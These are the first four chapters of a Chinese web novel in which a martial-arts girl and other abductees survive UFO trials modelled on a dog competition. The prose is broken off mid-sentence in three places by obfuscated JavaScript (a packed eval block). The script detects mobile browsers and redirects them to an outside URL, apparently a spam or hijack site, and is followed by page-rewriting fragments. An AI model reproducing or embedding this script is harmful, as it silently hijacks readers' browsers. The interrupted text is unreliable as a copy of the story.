《万事屋好评如潮》 1. 我狗呢?! “你们都是谁?!” “啊!我怎么会在这里!这是哪!” 林清原愣愣地看着眼前的一切。 面前是一个操场,标准的四百米塑胶椭圆形跑道,自己正站在起跑点上,周围乌泱泱的一群人,十分混乱。 在吵闹中,终于有人喊出了关键信息: “为什么UFO里面会是操场啊!” 反应过来的林清原兴奋地招呼自己的狗狗: “比利!你快看!是你最喜欢的跑道!” 然而找了一圈,哪里都没有狗狗的身影。 林清原愣住,崩溃大喊: “我狗呢?!” 十分钟前。 五月的天已经开始热起来了。 林清原做完早操,冲了个澡,换上了新短袖,带着自家狗狗开始每天的例行遛弯。 这附近都是林家的地盘,所以没人来,正好不用栓绳,让狗狗自由活动活动。 比利是只黑白边牧,它体型比一般边牧大一圈。或许正因如此,它每天的活动量也比一般狗狗要大一些。 比利在前面跑着,跑几步见自家小主人还在身后慢悠悠走着,不满地折回来,用头去顶她的腿,催促她跟上自己的速度。 林清原双手高举,伸了个懒腰,顺手交叠放在了脑后,吊儿郎当地走着,丝毫没有提速的打算。 比利“汪”了一声,生气地蹦了几下。 “饶了我吧。你也知道你小主人我每天的早操训练可是很辛苦的,都这么累了,你自己跑着玩呗。” 比利见催促无效,只得使出杀手锏。 “汪汪汪!” 林清原停住,猛地看向它。 “你说‘冰淇淋’?” 比利高兴地叫了一声,跑到前方坐下,重复了一遍。 “汪汪汪!(冰淇淋!)” 林清原飞快地窜到狗狗身边,带着它跑了起来。 “这可是你说的啊!可不能回去再跟我老爹老妈告密了!” 比利斜了她一眼。 “喂!什么意思!” 比利汪汪了几声。 “喜欢吃冰淇淋怎么了!要不是老爹总念叨什么‘阴阳平衡’‘寒气入体’,我肯定天天都吃冰淇淋!” 比利嗤笑了一下。 林清原气得要去打它的狗头,被狗狗一个闪身躲过了。 “这回可是你先提着吃的!不准告密了听到没有!” 一人一狗正跑着,一个电话打过来了。 林清原看了眼来人,接了。 “喂老爹,干嘛。 “现在回去?不要。 “有重要的事?那也不回去! “不回去不让吃冰淇淋?!那……那等等就回去!” 挂断电话,林清原催促狗狗。 “快!咱们先赶紧去买冰淇淋吃!吃了再回去!” 比利抬起前爪捋了下耳朵。 “汪汪!” “哎呀,不用管电话的事!先吃完再回去也不迟。” 比利甩甩尾巴,仰头长啸。 “呜汪——” 林清原赶紧捏住它的狗嘴。 “别叫!把林家的人喊过来了,我就不给你狗粮吃了!” 比利鄙夷地翻了个白眼。 “嘿嘿,可不是平日里小徒们给你装的那种狗粮。”林清原笑眯眯地蹲下。 “是超级狗粮大礼包!还是十份!” 她拿出手机,点开活动页面,递到狗狗面前让它看。 “瞧!最近正火热的狗狗全能比赛!” “耐力!” 比利扬起身子,露出自己健壮的肌肉。 “选美!” 比利甩了甩自己蓬松光滑的毛发。 “智慧!” 比利咧开嘴笑了。 林清原划动屏幕,给它展示最终大奖。 “冠军狗狗可以获得多种口味!多种配方!多种营养!的!超级狗粮大礼包!” 比利的尾巴摇地飞起。它决定看在超级狗粮大礼包的份上,对小主人吃冰淇淋的事睁一只眼闭一只眼。 一人一狗开心地奔跑起来。 为了美味的冰淇淋!为了美味的超级狗粮大礼包! 就在这时,林清原偶然一抬头,远远地瞧见从云层后面冒出一个奇怪形状的东西。 比利也注意到了,它大声警示起来。 不过几秒的时间,那个奇怪的东西就露出了全貌。 大大的、圆圆的、像盘子。 UFO! 林清原震惊了。 “真有UFO啊?!” 最近一段时间,一个话题在网络上爆火。 各地网民均宣称自己看到了UFO,就是那种如传闻中的,大大的、圆圆的、像盘子一样的UFO。 但是众说纷纭,谁也没能拿出清晰的照片或者视频。 本来以为只是又翻新了的噱头,结果眼见巨大的UFO朝自己这边飞速移动,不信也要信了。 “跑!” 然而一人一狗的速度还是比不过UFO的速度。 UFO从圆盘底部散发出奇异的圆形光波,笼罩住林清原,就把她往肚子里吸。 在视野被刺眼的白光覆盖完之前,林清原看到的最后一幕,就是自己的好大狗拼命咬住了自己的衣服。 “呜呜,比利,我的好大狗。” 林清原感动地抹了抹眼角。 “明明平时老跟我打架,关键时候还是关心我的嘛!” 想来狗狗最后应该是抗衡不住UFO的吸力,没咬住掉了下去,所以还留在了外面。 她倒是不担心自家狗狗受伤,再怎么说也是林家从小养大的狗。 作为隐于闹市的武林世家,会训人,当然也会训狗,尤其像比利这么聪明的边牧,学出来的功夫可不是假把式。 林清原刚放下的心,在看到背后突然出现的一群黑影时又吊了起来。 黑影长得像人,却完全没有五官,只是有个人型。 在场的人从没见过类似的东西,纷纷骚乱起来。 有人忍不住向前跑去。 一人起头,旁人跟风。 黑影们见到跑起来的人非常开心,它们尖啸着,追赶着。 这下原本没跑的人也被迫跑起来了。 黑影们手中幻化出鞭子,狠狠甩在地上,发出响亮的啪声。 与此同时,黑影的声音回荡在整个操场,传到每个人的耳朵里。 “跑起来!跑十圈!限时二十分钟!” 林清原被声音难听得龇牙咧嘴。 这声音压根不像一个人的声音,似男似女,似老似少,又嘶哑又尖利。 黑影们没有嘴,也不知道到底是怎么发声的。 一圈四百米,十圈四千米,二十分钟内完成,对于林清原来说并不困难,所以她刻意放缓了速度,离黑影们不远不近地观察着。 黑影虽然看起来像人,实际上跑起来和人不怎么沾边,该是四肢的地方一会儿团起来,一会儿飘散,很是怪异。 想了想,林清原落到了最后一名,看准打头的黑影就冲了上去。 她左脚一踏,右腿就借力一扫,身子微蹲,完成一圈利落的旋转。 正是林家飞鹤腿第四式——圈翅! 踢中黑影的瞬间,林清原感觉自己的腿像是碰到了什么粘稠的物质,好像要包裹上来。但黑影不敌自己的速度和力道,被踢飞了一圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365426|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能碰到! 林清原心里刚一喜,就见其他黑影蜂拥上来,举起鞭子朝自己甩来。 危急时刻,她双手撑地,朝前一滚,躲过了这次袭击。 黑鞭甩在塑胶跑道上,竟然瞬间将其腐蚀出了一条线,滋滋啦啦地往上冒白烟。 “犯规!使用危险物品是要被抓起来的!” 林清原边痛斥不讲武德的黑影们,边向前跑去。 其他人见到这一幕,吓得更厉害了,更是加速跑了起来。 林清原跑了半圈,向后看去,发现黑影们虽然“愤怒”,但并没有追上来,还是保持着一个差不多的速度缀在后面。 她估着速度,发现它们的速度,正好是二十分钟左右跑完十圈。 想起之前听到的声音,她不禁腹诽道: “这算什么?长跑比赛?” 她把手伸进兜里,想用手机计时,结果发现手机不见了。 完蛋!不会手机丢了吧! 随着圈数的增加,越来越多的人开始体力不支。 有人尝试去跑道边缘,从周围白茫茫的一片中出去。可惜的是,跑道周围设的有屏障,凭人力根本破不开。 这无疑加剧了众人的恐慌。 终于,在第四圈的时候,有个胖胖的中年男人彻底跑不动了,他粗喘着气停了下来。 黑影越来越近,他惊慌地再度跑起,但体力已经支撑不住,没等跑几步就被黑影追上了。 黑鞭抽在了男人身上。 男人惨叫一声,倒在地上。 他身上冒起白烟,浑身痉挛着,在众人惊恐的目光中,逐渐缩小、变形。 最后定格成一只肥胖的死狗。 黑影们兴奋地尖啸,抓起死狗,抛向操场中央。 只见操场中间的草坪突然裂开了一个大口子,等把死狗吞了进去,就重新合上了,好像什么都没发生一样。 ——也不是什么都没发生。 操场表面平静,但从底部传来了咀嚼声。 嘎吱嘎吱,响在每个人的耳朵旁。 在咀嚼什么不言而喻。 “不要……我不要死!” 这个变故无疑给了所有人一个当头痛击。他们大喊着、溃散着,发了疯地向前跑去。 很快,跑在最前面的人已经超过一圈,直接绕到了黑影背后。 那人见到眼前的黑影们,混沌的脑袋似乎清醒了一些。 他痛哭着停下,不敢接近黑影,甚至想向后跑。 林清原看了眼毫无反应的黑影们,心中模糊出现一个猜想。 为了验证猜想,她也提了速,很快就超了一圈。 她看了眼前面的黑影们,一咬牙冲了进去。 然而直到她冲出黑影群,黑影们也没对她做什么。 难道? 就在她想试试另一个想法时,她身边落下了一个女孩。 林清原其实老早就注意到了这个女孩。 这女孩个子小小的,脸也小小的,眼睛却大大的,哭起来鼻子红红的,可好看了。 不过最让她在意的,是女孩身上的包扎。 女孩身上遍布创可贴、绷带一类的东西,一些常人伤不到的地方也被诡异地包扎了起来。 这个女孩已经明显脱力,她的腿一直在抖,跑起来东倒西歪。 她看了眼林清原,水汪汪的大眼睛一眨,更多泪就落了下来。 女孩似乎想说话,但嘴巴已经全用来大口呼吸了,嗓子已经干涸,除了如破风箱般的呼吸声外什么也发不出来。 眼见黑影们离得越来越近,林清原想伸手拉她一把。 不过女孩已经先一步颤颤巍巍地抬起手,轻轻扯上了林清原的衣服。 2. 迷宫 看着女孩哭惨的小脸,和她轻扯的几乎可以忽略不记的力度,林清原心里一激灵。 她想起来自己的狗狗了。 六年前,比利刚出生的时候,小小一只,精力旺盛,才刚睁眼没多久就到处乱跑着玩。结果有一次旁边没人,它直接弄倒了一个不算小的架子,砸在了身上。 林清原听到呜呜咽咽的小狗叫,循声找去,就看到了被架子压住的它。 她连忙去抬架子,但是因为她刚训练完没多久,力气还没恢复,所以架子只能被勉强抬起来,还不够小狗自己钻出来的。 林清原刚想去放下架子去喊人来,就感到自己的裤脚被什么拽住了。 她低下头一看,是比利。 小小一只狗痛苦地哼唧着,伸出小爪子搭在她的裤腿上,稚嫩的指甲勾着衣服,好像在说: 别走,救救我! 年仅十二岁的林清原瞬间热血上头,大喝一声,身体爆发出一股力气,硬生生把架子抬翻了。 之后当然是小狗比利得到了良好的救治,林清原那因为用力过猛脱臼的手腕也得到了治疗。 而现在在这个凶险的地方,遇到了一个和自家狗狗那么像的女孩,林清原当然不可能放手不管。 她判断了下女孩现在的状态。才刚跑了五圈,就已经累成这样,剩下的五圈肯定是没法在规定时间内跑完了。 她一边拉着女孩的手向前跑着,一边问: “你愿意相信我吗?” 女孩哭的更厉害了。她用尽全身力气点头,生怕林清原丢下她不管。 林清原眼神一凛,带着女孩转身向后跑去。 女孩见林清原带着自己朝黑影中间冲去,吓坏了。但她想起刚才答应要选择相信,还是没有挣脱。 等到带着女孩穿过黑影们有一段距离,林清原的那点疑虑就彻底打消了。 她看向紧紧握住自己手的女孩,不由地对其高看了好几眼。 虽然这女孩全程害怕地眼睛都没睁开过,但她既没有挣扎,又努力跑起来了,丝毫没有拖后腿。真的比想象中坚强很多。 黑影们好像此时才终于注意到了反着跑的两人,一阵骚动过后,从中分出来两个黑影,犹犹豫豫地退出了大部队,重新跟在两人身后反跑。 林清原见状“嘿嘿”一笑,对女孩说: “坚持住!马上就可以结束了!” 女孩已经累得神志不清,但听到马上就能结束这场折磨的长跑,还是鼓足了最后的力气跑了起来。 林清原带着女孩反跑,对经过的所有人都大喊: “快反着跑!想活下去就反着跑!” 有些人不相信,还在卯足了劲朝前跑。但有些人已经体力快到极限,之前胖男人的死亡还历历在目,最终咬咬牙,跟着林清原一起反跑了。 黑影们的骚动越来越大,它们分出越来越多的黑影跟着反跑,但正跑、反跑的人和黑影都夹杂在一起,铺满了整个跑道。 在又跑过一圈之后,林清原的速度慢了下来,从跑变走,又从走变停。 她看着混乱的操场,深吸了一口气,然后大喊: “跑够了!已经十圈了!” 气沉丹田,吼出来的声音足够传到每个人的耳朵里。 “跑……跑完了?” 虽然还有人在继续跑,但随着林清原的一遍遍呼喊,越来越多的人停了下来。 他们又累又迷茫:真的跑完了吗? 说实话,大家的注意力全在“跑快点”这件事上了,只顾着别被黑影追上,究竟跑了多少圈、是不是跑够了,几乎没人记得。 黑影们的骚动变得愈发剧烈。 它们愤怒地叫喊: “没跑够!继续跑!” 林清原叉起腰。 “既然说了跑十圈,那正着跑是一圈,反着跑也是一圈!你们可是跟着一起跑的,连这点计数都不会?可别想抵赖!” 黑影们交谈的嗡声越来越大。 终于有人反应过来了,大喊: “跑完了!整整十圈!一圈不少!” 更多的人加入了,呼喊的声潮彻底盖过了黑影们的声音。 林清原跳到了最前面,随机问一个黑影。 “认识这是几吗?”她伸出一只手,手心朝前,五指张开,又伸出另一只手,手背朝前,五指张开,“这又是几?” 两手猛地一拍,黑影似乎抖了抖。 “正着是五,反着也是五。五加五,不就是十?十圈够了!” 黑影们胡乱地叫了一会儿,便集体安静了下来。 随后它们走到了操场的一处,对着坚硬的屏障锤了起来。 屏障裂了条缝,并逐渐增大,最后破成了一个出口。 本已经脱力的众人似乎又恢复了力气,他们又哭又笑,朝着出口奔去。 然而等到所有人都穿过了这个洞口,他们才发现,自己所处的地方既不是现实世界,也不是操场,而是一个新的地方。 一大片灌木丛组成了大约三米高的墙壁,横在众人面前。 黑影的声音再次传来。 “迷宫中有各种关卡,成功通关就可以获得美丽的配饰。只有美丽指数达到90分以上才能离开!终极大奖在等着你们!” 黑影们嚣张地大笑,鞭子甩到灌木丛上,灌木就自动朝两侧分开,形成一个入口。 最终出现了六个入口。 林清原不想进迷宫,但眼下似乎没有更好的办法,只能被黑影推着走入了其中一个入口。 之前的那个女孩本来想一起来,但黑影推人是随机分开推的,就只能分开走了。 林清原走进迷宫没多久,就听见身后传来一阵树叶磨蹭的沙沙声,扭头一看,原来是分开的灌木丛又合上了。 看来这个迷宫是铁了心要让所有人各走各的。 林清原边走边碎碎念。 “这都什么乱七八糟的,什么美丽的配饰!还要什么美丽指数!当这是选美比赛啊!” 她心里一咯噔。 怎么感觉有点熟悉? 还没等她想起来,她就见到眼前出现了一个奇怪的东西。 是个飞镖靶,正立在必经之路上。 林清原找了一圈,没见到飞镖。 “这就是关卡?投飞镖?那没有飞镖,又怎么投?” 想了想,她伸手从灌木丛中掰下了几个枝杈。 她朝飞镖靶走去,打算直接把枝杈插到红心上。 谁说飞镖一定要投着玩的? 然而灌木丛似乎是知晓了她的想法,迅速延伸了几小丛,充当栏障挡在了面前。 林清原嗤笑一声。 三米高的她跳不过去,这不到一米的还能跳不过去? 这么想着,她就助跑几步,离近了直接跳起,标准的跨栏姿势!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365427|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而计划赶不上变化。矮小的灌木丛迅速升高。 林清原结结实实地撞了上去。 少女捂着脸在地上打滚。 “好痛!” 阻拦完毕,灌木丛又变回了原来的高度。 林清原气愤地站了起来。 满脸的伤痕和细密的痛楚反而让她的斗志变得无比高昂。 “哼!区区投靶,还能拦住我?” 她双指夹住枝杈,大拇指顶住,胳膊横在胸前,手抬到和眼睛差不多的位置,侧身而立,瞄准靶心就投了出去。 灌木丛这回没再阻拦。 枝杈稳稳地钉在了红心上。 “小菜一碟!” 她又在手上同时夹了三根枝杈,手腕一甩—— 咻!咻!咻! 破空声接连而至,红心上又多了三根枝杈。 就在林清原掰下更多枝杈,两手夹满,打算来次大满贯的时候,挡路的灌木丛移开了,原来立着的飞镖靶消失在地里,取而代之的是一个有着精致花纹的托盘,上面放着一个红色蝴蝶结。 “这就是‘美丽配饰’?” 林清原嫌弃地捏起蝴蝶结,装进兜里,起身离开。 不过刚走出一步,又折了回来,蹲下身去拿托盘。 她本以为托盘是放在地上的,结果上手去拿才发现是被固定住的。 林清原眉毛一拧,使出了更大的力气,把托盘抬得老高。 随着几声清脆的断裂声,托盘终于被取了下来。 定睛一看,原来托盘底部是和灌木丛枝连在一起的,听到的那几声,就是灌木丛枝被扯断的声音。 残存在托盘底部的枝条倒是很好清理,一摸就掉了。 林清原拿着干干净净的托盘,心情愉快地走了。 之后她又遇到了几个关卡,比如走独木桥、跳圈什么的,这些都难不倒她,很顺利就完成了,拿到了各式各样的“美丽配饰”。 当然,她把托盘都搜刮了。 托盘亮晶晶的,还有好看的花纹,比那些配饰好看多了。 又走过一个转弯,林清原注意到前面有些不对劲。 灌木丛延伸到了路上,还一抖一抖的。 林清原很快就意识到了那是什么。 她看到了血。 灌木丛在吞咽。 一股寒气直冲头顶。 林清原飞奔过去,想从灌木丛中解救这个不知是死是活的人。 但是灌木丛已经进食完毕,退回到了原来的位置,只有地上的零星血迹昭示着这里之前发生了什么。 林清原气得浑身发抖。 她跑了起来,飞快分辨着出口的位置。 一方面是想尽快离开这个鬼地方,另一方面是想看看能不能遇到更多人。 遇到的更早,救下他们的可能性就越大。 终于,林清原见到了另一摊血迹。 血迹吸引着灌木丛的吞食。 林清原一脚把灌木丛踢散,寻找着人的踪迹。 不过看血迹的流向,这人似乎还活着。 她沿着血迹寻找,很快就找到了。 人确实还活着!还正在向前走。只是左手没了,血就这么淌了一路。 她看着那人的背影,心里一揪。 “喂!” 女孩闻声转头。 果然,是之前那个哭的梨花带雨的女孩! 3. 选美 女孩见到林清原,显得异常高兴。 她飞奔过来。 “呜呜呜!我终于见到你了!跑步的时候真的很感谢你!” 说着说着,她又带上了哭腔。 她抬起手,想要抹抹眼睛,却摸了个空。 林清原一把拽过女孩的胳膊,掏出一条丝巾就替她包扎起来。 包扎的动作异常熟练,包扎的方式也很到位。但是毕竟是丢了一只手,出血量异常的大,没过两秒,血就又浸湿了丝巾。 林清原当机立断,拿出一根牵绳,系在女孩小臂上,又双指并拢,对准大臂和脖子的几个位置点按了几下。 出血速度迅速缓了下来。 女孩见到这一幕,彻底哭了出来。 “完了完了,手没了,出血量太大了,等还没出去我人就没了。” “那咱们就快点出去。” 林清原直接把女孩背到了背上。 为了减轻重量,她把藏在怀里的一大堆托盘拿出来丢掉了。 最后看了一眼这些漂亮的盘子,林清原不再留恋,背着女孩往出口跑去。 比起救人,几块盘子算得了什么。 女孩哭啼了两声就强行忍住了。她不想再给林清原添多余的麻烦。 林清原一边闯关,一边关心女孩: “这些机关各式各样的,你扶好我,别掉下去了。如果手太疼,就跟我说,我换个姿势抱你。” 女孩又被感动哭了。 “呜呜…谢谢你……但是没事,我不疼。”她停了下,解释道:“我天生就没有痛感,所以不用担心。只是流血太多的话,最后可能直接休克了。” 听到女孩说她没有痛感,林清原的心稍微放松了一些。 但正如女孩所说,出血量是个大问题。 还是要尽快离开这个地方,得到专业的医治才行。 林清原把新拿到的“美丽配饰”都塞到了女孩兜里,让她装着。 女孩想要拒绝,“不用给我了,这些都是你拿到的……” “我背着你,再多装这些东西,行动就不方便了。” 女孩觉得很有道理,就担任起了“移动背包”的责任。 “我叫白仙贝,你可以告诉我你的名字吗?” “林清原。” 白仙贝视线落到自己被包扎起来的胳膊上,吸了吸鼻子。 “谢谢你……对不起,把你的丝巾弄上血了。” “啊,那个啊。完全没事。那不是我的丝巾,是‘美丽配饰’来着。” 林清原接着说:“卡你胳膊上的绳子也是‘配饰’。” 白仙贝被吓到了。 “啊!你把‘美丽配饰’给我用了,你怎么办?那些怪物说只有美丽指数得到90分以上的人才能通关啊!”她转念一想,说:“没事,我之前也拿到了几个‘美丽配饰’,都给你!全都给你!” 林清原笑了。 “不用担心。通关的条件不是人。” 这句没头没脑的话,白仙贝压根听不懂,她想问,却见林清原开始提速了。 抬头一看,出口就在眼前! 虽然迷宫的入口有六个,但出口只有一个。 黑影们就等在这里。 已经有人通关了,身戴各种“美丽配饰”,候在一旁。但也有更多的人找到了出口,却没有通关,正被灌木丛吞吃着。 林清原看着散落的人——不,现在是死狗了,肯定了自己的猜测。 她把白仙贝放下来,掏出“美丽配饰”,先给女孩打扮完,又打扮自己。 黑影看了二人一眼,就放她们通关了。 白仙贝非常惊讶。 她看看自己和林清原身上简洁的配饰,又看看通关了的其他人身上堆满的配饰,小声问: “通关的要求到底是什么啊?” 林清原刚要回答,就见到又有一个人到达了出口。 新到的女人拿到了很多配饰,她把这些配饰一股脑别在了衣服上,然后就朝黑影走去。 黑影奸笑了几声,随即宣布: “不合……啊?” 黑影的话没说完,林清原就把一个小巧的皮圈套在了女人手上。 女人一惊,以为林清原要害自己,伸手就要把皮圈捋下来。 林清原直接握住了她的手腕。 “想要通关就别拿掉!” 林清原力气很大,女人挣脱不开。 黑影不情不愿地宣布:“合格。” 在场的人都愣了。 林清原指着女人手上的皮圈,问:“知道这是什么吗?” “手链……?” 有人仔细看了看,不确定地答道:“怎么好像是项圈?” 林清原满意地点点头。 “准确来说是‘项饰’。” 她向众人解释: “想要通关,美丽指数达到90分以上,很简单。只要凑齐五个部位的配饰就够了。” “哪五个?” “头饰,颈饰,腕饰,腿饰和衣服。” “衣服?我没换衣服啊?”有个已经通关了的男人不解。 林清原指指他上衣别着的一个裙子图案的别针:“那个就是。” “你怎么会知道这些?” 之前认出项圈的那个人突然大叫: “等等!这是不是‘选美’?” 林清原点点头。 “没错。这根本不是什么‘迷宫’,这是‘狗狗选美比赛’。” 有人不愿相信:“我们是人!怎么会要按狗的选美的要求来通关?” 林清原问他:“被这些黑影搞死的人,都变成了什么?” “狗……” 林清原的声音中带上一丝懊恼:“可恶,应该早点发现的。第一关比耐力,第二关就是选美。” “那后面还有吗?”先前问话的人已经相信了这个说法,他急切地想知道这场噩梦还要多久结束。 “还有最后一关,比拼的是智慧。” 认出项圈和选美比赛的男人很明显是养狗的,而且他很明显知道最近炒的火热的狗狗全能比赛,所以他一下子就答出了最后一关的要求。 他蹲在地上抱住头。 “我早该想到的!狗有尾巴,但人没有,所以狗的尾巴饰就是人的腿饰!” 之后又陆陆续续有几个人到达了出口,有的配饰齐全,有的不够,林清原和已经通关的人纷纷拿出自己多余的配饰来帮助他们通关。 黑影们见到这幅互帮互助的友爱场面,十分生气,气势汹汹地上前阻拦。 但林清原能打飞一个,自然能打飞更多。 最后硬生生将所有人都保了下来。 黑影们不甘心地尖啸。但迷宫内已经没有人了,它们再想拖时间也没用了。 通关的人们激动地向林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365428|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清原道谢,后者笑得很开心,照单全收。 随后黑影们把所有人都丢到了迷宫外。 迷宫外面是一个大森林。 林清原看着越来越高的树木,觉得不对劲。一低头,发现自己变成了狗。 真狗。 而原来的那些“美丽配饰”,变成了正合身的配饰,头花、颈饰、腕圈、尾巴饰、小衣服,一个不落。 原来不是树木越来越高,是自己越来越矮。 黑影们扬起鞭子,把狗狗们往森林里赶。 等所有狗狗都分散开来,最后一轮的要求也公布了。 “竞争吧!等到人数只剩一半,那就是通关者!” 林清原怎么也没想到,号称“智慧”的考验会是自相残杀。 开什么玩笑! 林清原后爪一蹬,攀着树就爬了上去。 虽然她变成了狗,但学过的武术和身体的灵敏度可没什么太多的变化,反而因为体重的减轻,变得更为灵活。 她想向其他人喊话,别落进黑影们的陷阱。既然前两关有一起通关的办法,那这一关应该也有。 但是她张嘴就是“汪”,呜汪了半天,还是没能喊出一句人话。 她动了动耳朵,远远听见好像有别的狗的惨叫,于是直接在树上飞奔腾跃,赶往目的地。 英姿飒爽的林清原,变成小狗也是只英姿飒爽的小狗。 若是这里还有其他人,见到树上奔跑过一只利索小狗,每一处落脚点都精准无比,没有浪费任何空间和时间,绝对会夸一句:好狗! 随着离目的地越来越近,小狗的惨叫声愈发响亮。 等林清原赶到,正好看到了扑咬在一起的两只小狗。 两只小狗此时身上都遍布了伤口和血迹,其中一只白色长耳小狗最引人瞩目,因为它缺了左前爪,伤处在用丝巾包扎着。 白仙贝! 惨叫声不单只是白仙贝发出的,也混杂了另一只小狗的声音——不,应该说,惨叫声基本都是另一只小狗发出来的。 别看白仙贝小狗个子小,但她没有痛觉,被撕咬了也不会停下反抗的动作,拼了狠劲去反击。 另一只小狗的惨叫,是实打实的痛,而白仙贝的惨叫,是实打实的害怕。 林清原飞扑下地,直接咬住了另一只小狗的尾巴。 那只小狗再也忍受不住疼痛,放开了一直擒咬着白仙贝的嘴。 见白仙贝暂时安全了,林清原头一甩,那只小狗就被甩了出去,砸在了地上。 见白仙贝这边来了帮手,那只小狗不再恋战,踉跄地爬起来,跑走了。 “呜呜呜呜……” 白仙贝哭的很惨。 林清原下意识想伸出舌头去舔舐白仙贝的伤口,然后突然意识到自己是人,不是真的狗,于是紧急停下,改成用爪子拍了拍她。 林清原手脚嘴并用,脱下了自己身上穿着的小裙子,撕成了一条条的,帮白仙贝包扎。 狗爪子果然不太方便,她废了好大的力气,才勉强包好,累得坐在地上吐舌头。 这回长耳小白狗变成了长耳·花花绿绿版·小白狗。 白仙贝“呜汪呜汪”的,虽然听不懂,但林清原大概能理解她的意思。 “汪汪!汪汪!(别担心!跟我来!)” 白仙贝也能大概理解林清原的汪汪叫。于是一瘸一拐地跟在她身后,朝森林深处走去。 4. 离开 走了一段路,林清原身边聚集了更多的小狗。 有些小狗打算听从黑影的要求,见面就扑咬,但都被林清原打跑了。 还有些小狗不想自相残杀,于是和林清原、白仙贝二狗碰上之后,就加入了前进的队伍。 虽然很想问林清原,这是要去哪?但大家发出的都是狗叫,只有林清原和白仙贝二人算是有点默契,差不多能理解对方的话,其他人都放弃了沟通。 不过林清原的目的地很快就到了。 是一处水潭。 众人还来不及高兴遇见了水,就注意到了站在周围的黑影们。 林清原却是丝毫不意外。 她之前在树上奔跑的时候,就隐约感知到了从这个方向吹来的风更加湿润。 根据前两关的经验,黑影们是会待在出口处等待的——第一关的操场就那么大点,说整个操场都是出口也不为过。 这一关虽然没有明确说出口在哪,但既然黑影没有时刻跟在身后,那循着特殊的地方去找就对了。 黑影们见到找来的小狗,很是生气。 它们立马就锁定了站在一众小狗最前面的罪魁祸首。 “又是你!既然你总是破坏规矩,那就去死吧!” 黑影们张牙舞爪地扑了过来。 林清原一个飞踢,踢倒了一个黑影,又借力冲向了另一个黑影,然后一扭身,躲过了紧接着的袭击。 战斗非常精彩,小狗四窜着,所过之处倒下了一个又一个黑影,让人看得目不暇接。 不过黑影的数量太多了,而且林清原现在又是小狗的身体,和原本的身体力量差太大了。渐渐的,她的动作慢了下来,好几次都差点没躲开。 林清原心里暗暗叫苦。 本来想着把黑影全部打散,就没有通关要求这玩意了,结果她忘了估算自己小狗身体的耐力了,计划还是按自己原身的实力想的。 现在可倒好,黑影虽然能踢倒,但离踢散还早着呢。 眼见被踢倒的黑影一个翻身又爬了起来,朝自己扑来,还嗡嗡呀呀的叫着,简直像无穷无尽的蚊子大军。 蚊子!讨厌蚊子! 站在一旁的小狗们也看出了林清原的疲态,心里又害怕又着急。 有人忍不住了,也加入了战斗。 一狗加入,万狗同来。 虽然其他人并没有什么武术功底,但主打的就是一个烂泥巴糊眼——出乱招,一时间还真压制住了黑影们的攻击。 白仙贝没有加入战斗。她已经快站不稳了。 她看了眼自己,身上全是血。 虽然没有痛感,但持续不断的流血,已经让她的身体到达临界值了。一旦陷入休克,怕是再也出不去了。 白仙贝昏昏沉沉地看向还在战斗着的林清原,突然发现有一只黑影正在蓄力,打算从背后偷袭。 而林清原还在专注应对眼前的黑影们,根本没注意身后的事。 白仙贝耗尽全身力气,大“汪”一声,飞扑过去,直接撞到想搞偷袭的黑影怀里,一齐落入了水潭中。 落水的声音传来,林清原才注意到这边的情况。 白仙贝由于力尽,渐渐向水底沉去。 而那个被撞进水中的黑影,却像棉花糖入水一般溶解了,只余一声惨叫。 林清原大叫几声,吸引了所有人的注意力,然后就把一个缠上来的黑影踢进了水里。 这只黑影也没躲过被水溶解的命运。 这回总算是找到反制的办法了! 其他人有样学样,想尽办法把黑影往水里推。 剩下的黑影们见到这个下场,被吓得到处躲避。 形势一下子就逆转了。 而林清原在看到其他人都学会怎么对付黑影后,就直接跳进了水潭里,向下潜去,寻找着白仙贝的身影。 好在白仙贝身上还在不停流血,顺着红色最多的地方找去,很快就看到了。 林清原咬住白仙贝身上穿的小裙子,拼命扑腾着爪子向上游去,终于赶在气尽之前露了头。 不过白仙贝已经陷入了昏迷。 林清原把她放在岸边,一边帮她推水,一边把想靠近过来的黑影打进水里。 在经过一番努力后,白仙贝终于吐出了一大滩水。可是她还是没有苏醒过来。 林清原急的团团转,咬住最后一只黑影就丢进了水里。 众人都累的瘫倒在地。 “汪汪……她溺水了,只把水推出来不行,还需要人工呼吸。” 懂救生知识的人气喘吁吁地对林清原说。 林清原也知道这个步骤,但问题是操作不了啊。 “我知道,但是现在变成了狗,还怎么人工……嗯?” 林清原说着说着,突然愣住,看向自己的手。 爪子正在一点点长大,以肉眼可见的速度分指、拉长,很快就彻底变成了人手。不仅只是手,全身上下都变回了人形。 不止自己,所有人都恢复正常了。 